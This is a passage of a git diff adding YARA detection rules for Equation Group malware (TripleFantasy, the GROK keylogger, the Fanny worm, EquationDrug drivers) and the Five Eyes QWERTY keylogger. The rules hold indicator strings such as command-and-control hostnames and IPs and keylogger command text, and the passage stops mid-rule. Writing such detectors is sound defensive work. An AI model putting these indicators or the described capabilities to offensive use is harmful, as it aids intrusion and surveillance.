+	    version = "1.0"
+	    last_modified = "2015-02-16"
+	    reference = "https://securelist.com/blog/"
+	strings:
+	    $a1="?a73957838_2@@YAXXZ"
+	    $a2="?a84884@@YAXXZ"
+	    $a3="?b823838_9839@@YAXXZ"
+	    $a4="?e747383_94@@YAXXZ"
+	    $a5="?e83834@@YAXXZ"
+	    $a6="?e929348_827@@YAXXZ"
+	condition:
+	    any of them
+}
+
+rule apt_equation_cryptotable {
+	meta:
+	    copyright = "Kaspersky Lab"
+	    description = "Rule to detect the crypto library used in Equation group malware"
+	    version = "1.0"
+	    last_modified = "2015-02-16"
+	    reference = "https://securelist.com/blog/"
+	strings:
+	    $a={37 DF E8 B6 C7 9C 0B AE 91 EF F0 3B 90 C6 80 85 5D 19 4B 45 44 12 3C E2 0D 5C 1C 7B C4 FF D6 05 17 14 4F 03 74 1E 41 DA 8F 7D DE 7E 99 F1 35 AC B8 46 93 CE 23 82 07 EB 2B D4 72 71 40 F3 B0 F7 78 D7 4C D1 55 1A 39 83 18 FA E1 9A 56 B1 96 AB A6 30 C5 5F BE 0C 50 C1}
+	condition:
+	    $a
+}
+
+/* Equation Group - Kaspersky ---------------------------------------------- */
+
+rule Equation_Kaspersky_TripleFantasy_1 {
+	meta:
+		description = "Equation Group Malware - TripleFantasy http://goo.gl/ivt8EW"
+		author = "Florian Roth"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/16"
+		hash = "b2b2cd9ca6f5864ef2ac6382b7b6374a9fb2cbe9"
+	strings:
+		$mz = { 4d 5a }
+
+		$s0 = "%SystemRoot%\\system32\\hnetcfg.dll" fullword wide
+		$s1 = "%WINDIR%\\System32\\ahlhcib.dll" fullword wide
+		$s2 = "%WINDIR%\\sjyntmv.dat" fullword wide
+		$s3 = "Global\\{8c38e4f3-591f-91cf-06a6-67b84d8a0102}" fullword wide
+		$s4 = "%WINDIR%\\System32\\owrwbsdi" fullword wide
+		$s5 = "Chrome" fullword wide
+		$s6 = "StringIndex" fullword ascii
+
+		$x1 = "itemagic.net@443" fullword wide
+		$x2 = "team4heat.net@443" fullword wide
+		$x5 = "62.216.152.69@443" fullword wide
+		$x6 = "84.233.205.37@443" fullword wide
+
+		$z1 = "www.microsoft.com@80" fullword wide
+		$z2 = "www.google.com@80" fullword wide
+		$z3 = "127.0.0.1:3128" fullword wide
+	condition:
+		( $mz at 0 ) and filesize < 300000 and
+		(
+			( all of ($s*) and all of ($z*) ) or
+			( all of ($s*) and 1 of ($x*) )
+		)
+}
+
+rule Equation_Kaspersky_DoubleFantasy_1 {
+	meta:
+		description = "Equation Group Malware - DoubleFantasy"
+		author = "Florian Roth"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/16"
+		hash = "d09b4b6d3244ac382049736ca98d7de0c6787fa2"
+	strings:
+		$mz = { 4d 5a }
+
+		$z1 = "msvcp5%d.dll" fullword ascii
+
+		$s0 = "actxprxy.GetProxyDllInfo" fullword ascii
+		$s3 = "actxprxy.DllGetClassObject" fullword ascii
+		$s5 = "actxprxy.DllRegisterServer" fullword ascii
+		$s6 = "actxprxy.DllUnregisterServer" fullword ascii
+
+		$x1 = "yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy" ascii
+		$x2 = "191H1a1" fullword ascii
+		$x3 = "November " fullword ascii
+		$x4 = "abababababab" fullword ascii
+		$x5 = "January " fullword ascii
+		$x6 = "October " fullword ascii
+		$x7 = "September " fullword ascii
+	condition:
+		( $mz at 0 ) and filesize < 350000 and
+		(
+			( $z1 ) or
+			( all of ($s*) and 6 of ($x*) )
+		)
+}
+
+rule Equation_Kaspersky_GROK_Keylogger {
+	meta:
+		description = "Equation Group Malware - GROK keylogger"
+		author = "Florian Roth"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/16"
+		hash = "50b8f125ed33233a545a1aac3c9d4bb6aa34b48f"
+	strings:
+		$mz = { 4d 5a }
+		$s0 = "c:\\users\\rmgree5\\" ascii
+		$s1 = "msrtdv.sys" fullword wide
+
+		$x1 = "svrg.pdb" fullword ascii
+		$x2 = "W32pServiceTable" fullword ascii
+		$x3 = "In forma" fullword ascii
+		$x4 = "ReleaseF" fullword ascii
+		$x5 = "criptor" fullword ascii
+		$x6 = "astMutex" fullword ascii
+		$x7 = "ARASATAU" fullword ascii
+		$x8 = "R0omp4ar" fullword ascii
+
+		$z1 = "H.text" fullword ascii
+		$z2 = "\\registry\\machine\\software\\Microsoft\\Windows NT\\CurrentVersion" fullword wide
+		$z4 = "\\registry\\machine\\SYSTEM\\ControlSet001\\Control\\Session Manager\\Environment" wide fullword
+	condition:
+		( $mz at 0 ) and filesize < 250000 and
+		(
+			$s0 or
+			( $s1 and 6 of ($x*) ) or
+			( 6 of ($x*) and all of ($z*) )
+		)
+}
+
+rule Equation_Kaspersky_GreyFishInstaller {
+	meta:
+		description = "Equation Group Malware - Grey Fish"
+		author = "Florian Roth"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/16"
+		hash = "58d15d1581f32f36542f3e9fb4b1fc84d2a6ba35"
+	strings:
+		$s0 = "DOGROUND.exe" fullword wide
+		$s1 = "Windows Configuration Services" fullword wide
+		$s2 = "GetMappedFilenameW" fullword ascii
+	condition:
+		all of them
+}
+
+rule Equation_Kaspersky_EquationDrugInstaller {
+	meta:
+		description = "Equation Group Malware - EquationDrug installer LUTEUSOBSTOS"
+		author = "Florian Roth"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/16"
+		hash = "61fab1b8451275c7fd580895d9c68e152ff46417"
+	strings:
+		$mz = { 4d 5a }
+
+		$s0 = "\\system32\\win32k.sys" fullword wide
+		$s1 = "ALL_FIREWALLS" fullword ascii
+
+		$x1 = "@prkMtx" fullword wide
+		$x2 = "STATIC" fullword wide
+		$x3 = "windir" fullword wide
+		$x4 = "cnFormVoidFBC" fullword wide
+		$x5 = "CcnFormSyncExFBC" fullword wide
+		$x6 = "WinStaObj" fullword wide
+		$x7 = "BINRES" fullword wide
+	condition:
+		( $mz at 0 ) and filesize < 500000 and all of ($s*) and 5 of ($x*)
+}
+
+rule Equation_Kaspersky_EquationLaserInstaller {
+	meta:
+		description = "Equation Group Malware - EquationLaser Installer"
+		author = "Florian Roth"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/16"
+		hash = "5e1f56c1e57fbff96d4999db1fd6dd0f7d8221df"
+	strings:
+		$mz = { 4d 5a }
+		$s0 = "Failed to get Windows version" fullword ascii
+		$s1 = "lsasrv32.dll and lsass.exe" fullword wide
+		$s2 = "\\\\%s\\mailslot\\%s" fullword ascii
+		$s3 = "%d-%d-%d %d:%d:%d Z" fullword ascii
+		$s4 = "lsasrv32.dll" fullword ascii
+		$s5 = "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" fullword ascii
+		$s6 = "%s %02x %s" fullword ascii
+		$s7 = "VIEWERS" fullword ascii
+		$s8 = "5.2.3790.220 (srv03_gdr.040918-1552)" fullword wide
+	condition:
+		( $mz at 0 ) and filesize < 250000 and 6 of ($s*)
+}
+
+rule Equation_Kaspersky_FannyWorm {
+	meta:
+		description = "Equation Group Malware - Fanny Worm"
+		author = "Florian Roth"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/16"
+		hash = "1f0ae54ac3f10d533013f74f48849de4e65817a7"
+	strings:
+		$mz = { 4d 5a }
+
+		$s1 = "x:\\fanny.bmp" fullword ascii
+		$s2 = "32.exe" fullword ascii
+		$s3 = "d:\\fanny.bmp" fullword ascii
+
+		$x1 = "c:\\windows\\system32\\kernel32.dll" fullword ascii
+		$x2 = "System\\CurrentControlSet\\Services\\USBSTOR\\Enum" fullword ascii
+		$x3 = "System\\CurrentControlSet\\Services\\PartMgr\\Enum" fullword ascii
+		$x4 = "\\system32\\win32k.sys" fullword wide
+		$x5 = "\\AGENTCPD.DLL" fullword ascii
+		$x6 = "agentcpd.dll" fullword ascii
+		$x7 = "PADupdate.exe" fullword ascii
+		$x8 = "dll_installer.dll" fullword ascii
+		$x9 = "\\restore\\" fullword ascii
+		$x10 = "Q:\\__?__.lnk" fullword ascii
+		$x11 = "Software\\Microsoft\\MSNetMng" fullword ascii
+		$x12 = "\\shelldoc.dll" fullword ascii
+		$x13 = "file size = %d bytes" fullword ascii
+		$x14 = "\\MSAgent" fullword ascii
+		$x15 = "Global\\RPCMutex" fullword ascii
+		$x16 = "Global\\DirectMarketing" fullword ascii
+	condition:
+		( $mz at 0 ) and filesize < 300000 and
+		(
+			( 2 of ($s*) ) or
+			( 1 of ($s*) and 6 of ($x*) ) or
+			( 14 of ($x*) )
+		)
+}
+
+rule Equation_Kaspersky_HDD_reprogramming_module {
+	meta:
+		description = "Equation Group Malware - HDD reprogramming module"
+		author = "Florian Roth"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/16"
+		hash = "ff2b50f371eb26f22eb8a2118e9ab0e015081500"
+	strings:
+		$mz = { 4d 5a }
+		$s0 = "nls_933w.dll" fullword ascii
+
+		$s1 = "BINARY" fullword wide
+		$s2 = "KfAcquireSpinLock" fullword ascii
+		$s3 = "HAL.dll" fullword ascii
+		$s4 = "READ_REGISTER_UCHAR" fullword ascii
+	condition:
+		( $mz at 0 ) and filesize < 300000 and all of ($s*)
+}
+
+rule Equation_Kaspersky_EOP_Package {
+	meta:
+		description = "Equation Group Malware - EoP package and malware launcher"
+		author = "Florian Roth"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/16"
+		hash = "2bd1b1f5b4384ce802d5d32d8c8fd3d1dc04b962"
+	strings:
+		$mz = { 4d 5a }
+		$s0 = "abababababab" fullword ascii
+		$s1 = "abcdefghijklmnopq" fullword ascii
+		$s2 = "@STATIC" fullword wide
+		$s3 = "$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" fullword ascii
+		$s4 = "@prkMtx" fullword wide
+		$s5 = "prkMtx" fullword wide
+		$s6 = "cnFormVoidFBC" fullword wide
+	condition:
+		( $mz at 0 ) and filesize < 100000 and all of ($s*)
+}
+
+rule Equation_Kaspersky_TripleFantasy_Loader {
+	meta:
+		description = "Equation Group Malware - TripleFantasy Loader"
+		author = "Florian Roth"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/16"
+		hash = "4ce6e77a11b443cc7cbe439b71bf39a39d3d7fa3"
+	strings:
+		$mz = { 4d 5a }
+
+		$x1 = "Original Innovations, LLC" fullword wide
+		$x2 = "Moniter Resource Protocol" fullword wide
+		$x3 = "ahlhcib.dll" fullword wide
+
+		$s0 = "hnetcfg.HNetGetSharingServicesPage" fullword ascii
+		$s1 = "hnetcfg.IcfGetOperationalMode" fullword ascii
+		$s2 = "hnetcfg.IcfGetDynamicFwPorts" fullword ascii
+		$s3 = "hnetcfg.HNetFreeFirewallLoggingSettings" fullword ascii
+		$s4 = "hnetcfg.HNetGetShareAndBridgeSettings" fullword ascii
+		$s5 = "hnetcfg.HNetGetFirewallSettingsPage" fullword ascii
+	condition:
+		( $mz at 0 ) and filesize < 50000 and ( all of ($x*) and all of ($s*) )
+}
+
+/* Rule generated from the mentioned keywords */
+
+rule Equation_Kaspersky_SuspiciousString {
+	meta:
+		description = "Equation Group Malware - suspicious string found in sample"
+		author = "Florian Roth"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/17"
+		score = 60
+	strings:
+		$mz = { 4d 5a }
+
+		$s1 = "i386\\DesertWinterDriver.pdb" fullword
+		$s2 = "Performing UR-specific post-install..."
+		$s3 = "Timeout waiting for the \"canInstallNow\" event from the implant-specific EXE!"
+		$s4 = "STRAITSHOOTER30.exe"
+		$s5 = "standalonegrok_2.1.1.1"
+		$s6 = "c:\\users\\rmgree5\\"
+	condition:
+		( $mz at 0 ) and filesize < 500000 and all of ($s*)
+}
+
+/* EquationDrug Update 11.03.2015 - http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/ */
+
+rule EquationDrug_NetworkSniffer1 {
+	meta:
+		description = "EquationDrug - Backdoor driven by network sniffer - mstcp32.sys, fat32.sys"
+		author = "Florian Roth @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "26e787997a338d8111d96c9a4c103cf8ff0201ce"
+	strings:
+		$s0 = "Microsoft(R) Windows (TM) Operating System" fullword wide
+		$s1 = "\\Registry\\User\\CurrentUser\\" fullword wide
+		$s3 = "sys\\mstcp32.dbg" fullword ascii
+		$s7 = "mstcp32.sys" fullword wide
+		$s8 = "p32.sys" fullword ascii
+		$s9 = "\\Device\\%ws_%ws" fullword wide
+		$s10 = "\\DosDevices\\%ws" fullword wide
+		$s11 = "\\Device\\%ws" fullword wide
+	condition:
+		all of them
+}
+
+rule EquationDrug_CompatLayer_UnilayDLL {
+	meta:
+		description = "EquationDrug - Unilay.DLL"
+		author = "Florian Roth @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "a3a31937956f161beba8acac35b96cb74241cd0f"
+	strings:
+		$mz = { 4d 5a }
+		$s0 = "unilay.dll" fullword ascii
+	condition:
+		( $mz at 0 ) and $s0
+}
+
+rule EquationDrug_HDDSSD_Op {
+	meta:
+		description = "EquationDrug - HDD/SSD firmware operation - nls_933w.dll"
+		author = "Florian Roth @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "ff2b50f371eb26f22eb8a2118e9ab0e015081500"
+	strings:
+		$s0 = "nls_933w.dll" fullword ascii
+	condition:
+		all of them
+}
+
+rule EquationDrug_NetworkSniffer2 {
+	meta:
+		description = "EquationDrug - Network Sniffer - tdip.sys"
+		author = "Florian Roth @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "7e3cd36875c0e5ccb076eb74855d627ae8d4627f"
+	strings:
+		$s0 = "Microsoft(R) Windows (TM) Operating System" fullword wide
+		$s1 = "IP Transport Driver" fullword wide
+		$s2 = "tdip.sys" fullword wide
+		$s3 = "sys\\tdip.dbg" fullword ascii
+		$s4 = "dip.sys" fullword ascii
+		$s5 = "\\Device\\%ws_%ws" fullword wide
+		$s6 = "\\DosDevices\\%ws" fullword wide
+		$s7 = "\\Device\\%ws" fullword wide
+	condition:
+		all of them
+}
+
+rule EquationDrug_NetworkSniffer3 {
+	meta:
+		description = "EquationDrug - Network Sniffer - tdip.sys"
+		author = "Florian Roth @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "14599516381a9646cd978cf962c4f92386371040"
+	strings:
+		$s0 = "Corporation. All rights reserved." fullword wide
+		$s1 = "IP Transport Driver" fullword wide
+		$s2 = "tdip.sys" fullword wide
+		$s3 = "tdip.pdb" fullword ascii
+	condition:
+		all of them
+}
+
+rule EquationDrug_VolRec_Driver {
+	meta:
+		description = "EquationDrug - Collector plugin for Volrec - msrstd.sys"
+		author = "Florian Roth @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "ee2b504ad502dc3fed62d6483d93d9b1221cdd6c"
+	strings:
+		$s0 = "msrstd.sys" fullword wide
+		$s1 = "msrstd.pdb" fullword ascii
+		$s2 = "msrstd driver" fullword wide
+	condition:
+		all of them
+}
+
+rule EquationDrug_KernelRootkit {
+	meta:
+		description = "EquationDrug - Kernel mode stage 0 and rootkit (Windows 2000 and above) - msndsrv.sys"
+		author = "Florian Roth @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "597715224249e9fb77dc733b2e4d507f0cc41af6"
+	strings:
+		$s0 = "Microsoft(R) Windows (TM) Operating System" fullword wide
+		$s1 = "Parmsndsrv.dbg" fullword ascii
+		$s2 = "\\Registry\\User\\CurrentUser\\" fullword wide
+		$s3 = "msndsrv.sys" fullword wide
+		$s5 = "\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Control\\Windows" fullword wide
+		$s6 = "\\Device\\%ws_%ws" fullword wide
+		$s7 = "\\DosDevices\\%ws" fullword wide
+		$s9 = "\\Device\\%ws" fullword wide
+	condition:
+		all of them
+}
+
+rule EquationDrug_Keylogger {
+	meta:
+		description = "EquationDrug - Key/clipboard logger driver - msrtvd.sys"
+		author = "Florian Roth @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "b93aa17b19575a6e4962d224c5801fb78e9a7bb5"
+	strings:
+		$s0 = "\\registry\\machine\\software\\Microsoft\\Windows NT\\CurrentVersion" fullword wide
+		$s2 = "\\registry\\machine\\SYSTEM\\ControlSet001\\Control\\Session Manager\\En" wide
+		$s3 = "\\DosDevices\\Gk" fullword wide
+		$s5 = "\\Device\\Gk0" fullword wide
+	condition:
+		all of them
+}
+
+rule EquationDrug_NetworkSniffer4 {
+	meta:
+		description = "EquationDrug - Network-sniffer/patcher - atmdkdrv.sys"
+		author = "Florian Roth @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "cace40965f8600a24a2457f7792efba3bd84d9ba"
+	strings:
+		$s0 = "Copyright 1999 RAVISENT Technologies Inc." fullword wide
+		$s1 = "\\systemroot\\" fullword ascii
+		$s2 = "RAVISENT Technologies Inc." fullword wide
+		$s3 = "Created by VIONA Development" fullword wide
+		$s4 = "\\Registry\\User\\CurrentUser\\" fullword wide
+		$s5 = "\\device\\harddiskvolume" fullword wide
+		$s7 = "ATMDKDRV.SYS" fullword wide
+		$s8 = "\\Device\\%ws_%ws" fullword wide
+		$s9 = "\\DosDevices\\%ws" fullword wide
+		$s10 = "CineMaster C 1.1 WDM Main Driver" fullword wide
+		$s11 = "\\Device\\%ws" fullword wide
+		$s13 = "CineMaster C 1.1 WDM" fullword wide
+	condition:
+		all of them
+}
+
+rule EquationDrug_PlatformOrchestrator {
+	meta:
+		description = "EquationDrug - Platform orchestrator - mscfg32.dll, svchost32.dll"
+		author = "Florian Roth @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "febc4f30786db7804008dc9bc1cebdc26993e240"
+	strings:
+		$s0 = "SERVICES.EXE" fullword wide
+		$s1 = "\\command.com" fullword wide
+		$s2 = "Microsoft(R) Windows (TM) Operating System" fullword wide
+		$s3 = "LSASS.EXE" fullword wide
+		$s4 = "Windows Configuration Services" fullword wide
+		$s8 = "unilay.dll" fullword ascii
+	condition:
+		all of them
+}
+
+rule EquationDrug_NetworkSniffer5 {
+	meta:
+		description = "EquationDrug - Network-sniffer/patcher - atmdkdrv.sys"
+		author = "Florian Roth @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "09399b9bd600d4516db37307a457bc55eedcbd17"
+	strings:
+		$s0 = "Microsoft(R) Windows (TM) Operating System" fullword wide
+		$s1 = "\\Registry\\User\\CurrentUser\\" fullword wide
+		$s2 = "atmdkdrv.sys" fullword wide
+		$s4 = "\\Device\\%ws_%ws" fullword wide
+		$s5 = "\\DosDevices\\%ws" fullword wide
+		$s6 = "\\Device\\%ws" fullword wide
+	condition:
+		all of them
+}
+
+rule EquationDrug_FileSystem_Filter {
+	meta:
+		description = "EquationDrug - Filesystem filter driver - volrec.sys, scsi2mgr.sys"
+		author = "Florian Roth @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "57fa4a1abbf39f4899ea76543ebd3688dcc11e13"
+	strings:
+		$s0 = "volrec.sys" fullword wide
+		$s1 = "volrec.pdb" fullword ascii
+		$s2 = "Volume recognizer driver" fullword wide
+	condition:
+		all of them
+}
+
+rule apt_equation_keyword {
+    meta:
+        description = "Rule to detect Equation group's keyword in executable file"
+        last_modified = "2015-09-26"
+        reference = "http://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/"
+    strings:
+         $a1 = "Backsnarf_AB25" wide
+         $a2 = "Backsnarf_AB25" ascii
+    condition:
+         uint16(0) == 0x5a4d and 1 of ($a*)
+}
diff --git a/yara-mikesxrs/Florian Roth/spy_querty_fiveeyes.yar b/yara-mikesxrs/Florian Roth/spy_querty_fiveeyes.yar
new file mode 100644
index 0000000..5e7775f
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/spy_querty_fiveeyes.yar	
@@ -0,0 +1,233 @@
+/* FIVE EYES ------------------------------------------------------------------------------- */
+
+rule FiveEyes_QUERTY_Malwareqwerty_20121 {
+	meta:
+		description = "FiveEyes QUERTY Malware - file 20121.xml"
+		author = "Florian Roth"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		date = "2015/01/18"
+		hash = "8263fb58350f3b1d3c4220a602421232d5e40726"
+	strings:
+		$s0 = "<configFileName>20121_cmdDef.xml</configFileName>" fullword ascii
+		$s1 = "<name>20121.dll</name>" fullword ascii
+		$s2 = "<codebase>\"Reserved for future use.\"</codebase>" fullword ascii
+		$s3 = "<plugin xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceS" ascii
+		$s4 = "<platform type=\"1\">" fullword ascii
+		$s5 = "</plugin>" fullword ascii
+		$s6 = "</pluginConfig>" fullword ascii
+		$s7 = "<pluginConfig>" fullword ascii
+		$s8 = "</platform>" fullword ascii
+		$s9 = "</lpConfig>" fullword ascii
+		$s10 = "<lpConfig>" fullword ascii
+	condition:
+		9 of them
+}
+
+rule FiveEyes_QUERTY_Malwaresig_20123_sys {
+	meta:
+		description = "FiveEyes QUERTY Malware - file 20123.sys.bin"
+		author = "Florian Roth"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		date = "2015/01/18"
+		hash = "a0f0087bd1f8234d5e847363d7e15be8a3e6f099"
+	strings:
+		$s0 = "20123.dll" fullword ascii
+		$s1 = "kbdclass.sys" fullword wide
+		$s2 = "IoFreeMdl" fullword ascii
+		$s3 = "ntoskrnl.exe" fullword ascii
+		$s4 = "KfReleaseSpinLock" fullword ascii
+	condition:
+		all of them
+}
+
+rule FiveEyes_QUERTY_Malwaresig_20123_cmdDef {
+	meta:
+		description = "FiveEyes QUERTY Malware - file 20123_cmdDef.xml"
+		author = "Florian Roth"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		date = "2015/01/18"
+		hash = "7b08fc77629f6caaf8cc4bb5f91be6b53e19a3cd"
+	strings:
+		$s0 = "<shortDescription>Keystroke Collector</shortDescription>" fullword ascii
+		$s1 = "This plugin is the E_Qwerty Kernel Mode driver for logging keys.</description>" fullword ascii
+		$s2 = "<commands/>" fullword ascii
+		$s3 = "</version>" fullword ascii
+		$s4 = "<associatedImplantId>20121</associatedImplantId>" fullword ascii
+		$s5 = "<rightsRequired>System or Administrator (if Administrator, I think the DriverIns" ascii
+		$s6 = "<platforms>Windows NT, Windows 2000, Windows XP (32/64 bit), Windows 2003 (32/64" ascii
+		$s7 = "<projectpath>plugin/Collection</projectpath>" fullword ascii
+		$s8 = "<dllDepend>None</dllDepend>" fullword ascii
+		$s9 = "<minorType>0</minorType>" fullword ascii
+		$s10 = "<pluginname>E_QwertyKM</pluginname>" fullword ascii
+		$s11 = "</comments>" fullword ascii
+		$s12 = "<comments>" fullword ascii
+		$s13 = "<majorType>1</majorType>" fullword ascii
+		$s14 = "<files>None</files>" fullword ascii
+		$s15 = "<poc>Erebus</poc>" fullword ascii
+		$s16 = "</plugin>" fullword ascii
+		$s17 = "<team>None</team>" fullword ascii
+		$s18 = "<?xml-stylesheet type=\"text/xsl\" href=\"../XSLT/pluginHTML.xsl\"?>" fullword ascii
+		$s19 = "<pluginsDepend>U_HookManager v1.0, Kernel Covert Store v1.0</pluginsDepend>" fullword ascii
+		$s20 = "<plugin id=\"20123\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi" ascii
+	condition:
+		14 of them
+}
+
+rule FiveEyes_QUERTY_Malwaresig_20121_dll {
+	meta:
+		description = "FiveEyes QUERTY Malware - file 20121.dll.bin"
+		author = "Florian Roth"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		date = "2015/01/18"
+		hash = "89504d91c5539a366e153894c1bc17277116342b"
+	strings:
+		$s0 = "WarriorPride\\production2.0\\package\\E_Wzowski" ascii
+		$s1 = "20121.dll" fullword ascii
+	condition:
+		all of them
+}
+rule FiveEyes_QUERTY_Malwareqwerty_20123 {
+	meta:
+		description = "FiveEyes QUERTY Malware - file 20123.xml"
+		author = "Florian Roth"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		date = "2015/01/18"
+		hash = "edc7228b2e27df9e7ff9286bddbf4e46adb51ed9"
+	strings:
+		$s0 = "<!-- edited with XMLSPY v5 rel. 4 U (http://www.xmlspy.com) by TEAM (RENEGADE) -" ascii
+		$s1 = "<configFileName>20123_cmdDef.xml</configFileName>" fullword ascii
+		$s2 = "<name>20123.sys</name>" fullword ascii
+		$s3 = "<plugin xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceS" ascii
+		$s4 = "<codebase>/bin/i686-pc-win32/debug</codebase>" fullword ascii
+		$s5 = "<platform type=\"1\">" fullword ascii
+		$s6 = "</plugin>" fullword ascii
+		$s7 = "</pluginConfig>" fullword ascii
+		$s8 = "<pluginConfig>" fullword ascii
+		$s9 = "</platform>" fullword ascii
+		$s10 = "</lpConfig>" fullword ascii
+		$s11 = "<lpConfig>" fullword ascii
+	condition:
+		9 of them
+}
+
+rule FiveEyes_QUERTY_Malwaresig_20120_dll {
+	meta:
+		description = "FiveEyes QUERTY Malware - file 20120.dll.bin"
+		author = "Florian Roth"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		date = "2015/01/18"
+		hash = "6811bfa3b8cda5147440918f83c40237183dbd25"
+	strings:
+		$s0 = "\\QwLog_%d-%02d-%02d-%02d%02d%02d.txt" fullword wide
+		$s1 = "\\QwLog_%d-%02d-%02d-%02d%02d%02d.xml" fullword wide
+		$s2 = "Failed to send the EQwerty_driverStatusCommand to the implant." fullword ascii
+		$s3 = "- Log Used (number of windows) - %d" fullword wide
+		$s4 = "- Log Limit (number of windows) - %d" fullword wide
+		$s5 = "Process or User Default Language" fullword wide
+		$s6 = "Windows 98/Me, Windows NT 4.0 and later: Vietnamese" fullword wide
+		$s7 = "- Logging of keystrokes is switched ON" fullword wide
+		$s8 = "- Logging of keystrokes is switched OFF" fullword wide
+		$s9 = "Qwerty is currently logging active windows with titles containing the fo" wide
+		$s10 = "Windows 95, Windows NT 4.0 only: Korean (Johab)" fullword wide
+		$s11 = "FAILED to get Qwerty Status" fullword wide
+		$s12 = "- Successfully retrieved Log from Implant." fullword wide
+		$s13 = "- Logging of all Windows is toggled ON" fullword wide
+		$s14 = "- Logging of all Windows is toggled OFF" fullword wide
+		$s15 = "Qwerty FAILED to retrieve window list." fullword wide
+		$s16 = "- UNSUCCESSFUL Log Retrieval from Implant." fullword wide
+		$s17 = "The implant failed to return a valid status" fullword ascii
+		$s18 = "- Log files were NOT generated!" fullword wide
+		$s19 = "Windows 2000/XP: Armenian. This is Unicode only." fullword wide
+		$s20 = "- This machine is using a PS/2 Keyboard - Continue on using QWERTY" fullword wide
+	condition:
+		10 of them
+}
+
+rule FiveEyes_QUERTY_Malwaresig_20120_cmdDef {
+	meta:
+		description = "FiveEyes QUERTY Malware - file 20120_cmdDef.xml"
+		author = "Florian Roth"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		date = "2015/01/18"
+		hash = "cda9ceaf0a39d6b8211ce96307302a53dfbd71ea"
+	strings:
+		$s0 = "This PPC gets the current keystroke log." fullword ascii
+		$s1 = "This command will add the given WindowTitle to the list of Windows to log keys f" ascii
+		$s2 = "This command will remove the WindowTitle corresponding to the given window title" ascii
+		$s3 = "This command will return the current status of the Keyboard Logger (Whether it i" ascii
+		$s4 = "This command Toggles logging of all Keys. If allkeys is toggled all keystrokes w" ascii
+		$s5 = "<definition>Turn logging of all keys on|off</definition>" fullword ascii
+		$s6 = "<name>Get Keystroke Log</name>" fullword ascii
+		$s7 = "<description>Keystroke Logger Lp Plugin</description>" fullword ascii
+		$s8 = "<definition>display help for this function</definition>" fullword ascii
+		$s9 = "This command will switch ON Logging of keys. All keys taht are entered to a acti" ascii
+		$s10 = "Set the log limit (in number of windows)" fullword ascii
+		$s11 = "<example>qwgetlog</example>" fullword ascii
+		$s12 = "<aliasName>qwgetlog</aliasName>" fullword ascii
+		$s13 = "<definition>The title of the Window whose keys you wish to Log once it becomes a" ascii
+		$s14 = "This command will switch OFF Logging of keys. No keystrokes will be captured" fullword ascii
+		$s15 = "<definition>The title of the Window whose keys you no longer whish to log</defin" ascii
+		$s16 = "<command id=\"32\">" fullword ascii
+		$s17 = "<command id=\"3\">" fullword ascii
+		$s18 = "<command id=\"7\">" fullword ascii
+		$s19 = "<command id=\"1\">" fullword ascii
+		$s20 = "<command id=\"4\">" fullword ascii
+	condition:
+		10 of them
+}
+
+rule FiveEyes_QUERTY_Malwareqwerty_20120 {
+	meta:
+		description = "FiveEyes QUERTY Malware - file 20120.xml"
+		author = "Florian Roth"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		date = "2015/01/18"
